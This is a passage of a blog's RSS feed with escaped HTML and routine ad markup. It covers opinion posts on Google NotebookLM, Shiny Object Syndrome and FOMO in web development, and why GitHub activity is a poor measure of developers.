script of what an audiovisual content should be, as if it were an unfinished product? The truth is that it terrifies me to think about the answer, it seems to me that we are at the gates of an Orwellian dystopia, but I am unable to reverse the trend and I can only watch helplessly how the world I knew crumbles.&lt;/p&gt;&#xA;&lt;p&gt;I guess I&amp;rsquo;ll have to record more videos.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1727849039/kgr8at3ytm29xohusw5x.avif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1727849039/kgr8at3ytm29xohusw5x.avif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;In Wall-e audiovisual content dominates over text&#34; width=&#34;1560&#34; height=&#34;1040&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;In Wall-e audiovisual content dominates over text&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;I just tried Google Notebooklm, and this feeling of novelty and excitement took over my mind. Similar to a child receives what he asked for for Christmas. However, I didn&amp;rsquo;t ask for this tool to exist, but here it is anyway.&lt;/p&gt;&#xA;&lt;h2 id=&#34;google-notebooklm-lets-you-create-a-podcast-from-your-notes&#34;&gt;Google Notebooklm lets you create a podcast from your notes&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;You&amp;rsquo;ve probably already heard of this tool, and if you haven&amp;rsquo;t, I&amp;rsquo;ll explain below.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Be careful of Shiny Object Syndrome and FOMO in web development</title>
      <link>https://coffeebytes.dev/en/opinion/be-careful-of-shiny-object-syndrome-and-fomo-in-web-development/</link>
      <pubDate>Sun, 08 Sep 2024 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/opinion/be-careful-of-shiny-object-syndrome-and-fomo-in-web-development/</guid>
      
      <category>opinion</category>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;With all the rapid changes happening in web development: frameworks, languages, tools, libraries, etc. It is inevitable to suffer a bit of Shiny Object Syndrome and some FOMO. But it is convenient to identify these impulses and their nature to avoid suffering the consequences of ignoring them.&lt;/p&gt;&#xA;&lt;h2 id=&#34;shiny-object-syndrome-in-web-development&#34;&gt;Shiny Object Syndrome in web development&lt;/h2&gt;&#xA;&lt;p&gt;Shiny Object Syndrome (SOS from now on) is the tendency to be distracted by a new idea or trend. In web development this idea or trend could be anything: a new framework, a new language, a new editor, etc. Let me explain it with an example.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/be-careful-of-shiny-object-syndrome-and-fomo-in-web-development/images/shiny-object-syndrome.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/be-careful-of-shiny-object-syndrome-and-fomo-in-web-development/images/shiny-object-syndrome.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Shiny object syndrome in Javascript&#34; width=&#34;750&#34; height=&#34;500&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Oops, a new Javascript framework, I have to try it out&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Imagine that you want to create a new application, but you heard that a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/&#34;&gt;brand new Javascript framework with an outstanding performance&lt;/a&gt;&#xA; came out that promises to make things easier, so you decide to learn this new &lt;del&gt;blazingly fast&lt;/del&gt; framework to implement your new idea, later you discover that another even better framework came out, so, even though you were already half way through the project, you decide to refactor your application using this new framework and you delay again the development of your app.&lt;/p&gt;&#xA;&lt;p&gt;You could have implemented your new idea using the framework you already knew, and finished sooner, but you decided to waste your time, attention and resources with every new “shiny object” that appears.&lt;/p&gt;&#xA;&lt;p&gt;Has this happened to you or just to me?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;fomo-or-fear-of-missing-out-in-web-development&#34;&gt;FOMO or Fear of Missing Out in web development&lt;/h2&gt;&#xA;&lt;p&gt;FOMO is a generalized self-absorption that others might experience pleasant experiences from which we would be absent. In web development this pleasant experience could also be the popularization of a new programming language, or a new type of API that seems to make things easier, or a new Javascript framework (a new one comes out every week).&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/be-careful-of-shiny-object-syndrome-and-fomo-in-web-development/images/rewrite-everything-in-rust-meme.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/be-careful-of-shiny-object-syndrome-and-fomo-in-web-development/images/rewrite-everything-in-rust-meme.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Rust is the most loved language&#34; width=&#34;500&#34; height=&#34;700&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Everyone is learning Rust, I should learn it too.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;For example, imagine a nerd creates a new programming language, which promises to be faster, more secure and is quickly adopted by the community. Feelings of anxiety start to invade you, “what if everyone starts using that new language?”, “what if I&amp;rsquo;m wasting my time using the languages I&amp;rsquo;ve already mastered and everyone realized that the new language is the future?”&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Does any particular language or technology come to mind?&lt;/p&gt;&#xA;&lt;h2 id=&#34;differences-between-fear-of-missing-out-and-shiny-object-syndrome&#34;&gt;Differences between Fear Of Missing Out and Shiny Object Syndrome&lt;/h2&gt;&#xA;&lt;p&gt;Although both phenomena look similar, there are several differences, mainly in the effect they have on us.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;FOMO&lt;/th&gt;&#xA;          &lt;th&gt;SOS&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Fear or anxiety of being left behind or left out&lt;/td&gt;&#xA;          &lt;td&gt;Novelty is distracting&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Impacts on your well-being and social behavior&lt;/td&gt;&#xA;          &lt;td&gt;Impacts on your productivity and concentration&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Can lead to over-committing to activities or experiences for fear of missing out&lt;/td&gt;&#xA;          &lt;td&gt;Leads to impulsive decisions to change projects or direction&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h2 id=&#34;why-is-it-important-to-consider-fomo-and-sos-in-web-development&#34;&gt;Why is it important to consider FOMO and SOS in web development?&lt;/h2&gt;&#xA;&lt;p&gt;My examples above don&amp;rsquo;t talk about any specific technology, but I&amp;rsquo;m sure several languages, frameworks and technologies came to your mind while reading the above paragraphs.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;example-of-sos-and-fomo-in-web-development&#34;&gt;Example of SOS and FOMO in web development&lt;/h3&gt;&#xA;&lt;p&gt;I will dare to name you some examples that crossed my mind while writing this post:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/&#34;&gt;Graphql&lt;/a&gt;&#xA;: Adopted by many, many people even though they probably only needed a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;REST API&lt;/a&gt;&#xA;.&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://cryto.net/%7Ejoepie91/blog/2016/06/13/stop-using-jwt-for-sessions/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;JWT&lt;/a&gt;&#xA;: Used as an “enhancement” to sessions and authentication, even though &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://redis.io/blog/json-web-tokens-jwt-are-dangerous-for-user-sessions/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;several computer security experts recommended not using them&lt;/a&gt;&#xA; that way.&lt;/li&gt;&#xA;&lt;li&gt;CSR, SSR and SSG: Developers quickly realized that it was always better to generate the HTML directly from the server or use static files, as had always been done, for many reasons including &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/&#34;&gt;SEO optimizing&lt;/a&gt;&#xA;.&lt;/li&gt;&#xA;&lt;li&gt;AI: Not sure about this one, is this just more &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;AI overhype&lt;/a&gt;&#xA;, like crypto was, or we really are in front of a human revolution?&lt;/li&gt;&#xA;&lt;li&gt;WASM: It&amp;rsquo;s not that WASM is not useful, quite the contrary, the thing here is that some folks thought that every site was going to be coded in Rust or some low level language, which of course didn&amp;rsquo;t happen.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;consequences-of-sos-and-fomo-in-web-development&#34;&gt;Consequences of SOS and FOMO in web development&lt;/h3&gt;&#xA;&lt;p&gt;The FOMO and SOS can impact design decisions, architectures, stacks and we must be very careful not to rush when choosing something based on our emotions or hunches, our decisions must be based on rational arguments and must consider aspects such as the maturity of a technology (Such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;Django Framework&lt;/a&gt;&#xA; or React), its stability over time, its future projection, how easy it is to find new developers who master it or, failing that, train the existing person and even aspects such as whether the respective project receives funding from third parties that allows it to continue operating.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;With all the rapid changes happening in web development: frameworks, languages, tools, libraries, etc. It is inevitable to suffer a bit of Shiny Object Syndrome and some FOMO. But it is convenient to identify these impulses and their nature to avoid suffering the consequences of ignoring them.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Don&#39;t Use Github To Evaluate Developers It Is Naive</title>
      <link>https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/</link>
      <pubDate>Tue, 06 Aug 2024 10:13:25 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/</guid>
      
      <category>git</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;If you are one of those who use Github contributions to evaluate your candidates, or clients, I&amp;rsquo;ll explain why it&amp;rsquo;s not necessarily a good idea.&lt;/p&gt;&#xA;&lt;p&gt;It is common practice to use Github to assess a developer&amp;rsquo;s capabilities, but to do so blindly, ignoring the following set of factors, would make your ignorance cost you access to candidates with greater potential and experience in the workings of the software world.&lt;/p&gt;&#xA;&lt;h2 id=&#34;an-empty-github-does-not-mean-someone-is-incompetent&#34;&gt;An empty github does not mean someone is incompetent.&lt;/h2&gt;&#xA;&lt;p&gt;&amp;ldquo;Absence of evidence is not evidence of absence&amp;rdquo; or, put in other words, just because a person doesn&amp;rsquo;t have excellent quality code on Github, doesn&amp;rsquo;t mean they can&amp;rsquo;t write it.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/github-as-past-review-tool.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/github-as-past-review-tool.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;This is just a representation of how a github&amp;#39;s contribution chart can be a reflect of someone&amp;#39;s life&#34; width=&#34;1300&#34; height=&#34;350&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;This is just a representation of how a github&amp;rsquo;s contribution chart can be a reflect of someone&amp;rsquo;s life&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;But why would someone not want to show the &lt;del&gt;horrible quality of their code done in javascript&lt;/del&gt; good quality of their code? One reason is that they&amp;rsquo;re probably too busy writing code that does pay, rather than contributing to open source.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/tweet-push-code-that-makes-money.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/tweet-push-code-that-makes-money.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;incendiary tweet that triggers heated discussions&#34; width=&#34;550&#34; height=&#34;258&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;incendiary tweet that triggers heated discussions&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Not everyone has an extra day each week to dedicate to open source, some have extra responsibilities beyond work, such as raising a family, caring for sick parents or personal projects.&lt;/p&gt;&#xA;&lt;p&gt;Ironically my github looks like this:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/eduardo-zepeda-github.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/eduardo-zepeda-github.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Eduardo Zepeda Github Chart&#34; width=&#34;747&#34; height=&#34;161&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;My Github looks like this&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;not-all-programmers-love-open-source&#34;&gt;Not all programmers love open source&lt;/h3&gt;&#xA;&lt;p&gt;Yes, as you may know, not all developers are &lt;del&gt;fans of free software&amp;rsquo;s Slavoj Žižek: Richard Stallman&lt;/del&gt; so altruistic to contribute code to humanity without expecting anything in return, can we blame them?, aren&amp;rsquo;t most companies being hypocritical? Do companies that use Github to evaluate their candidates put their code base as open source on Github?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    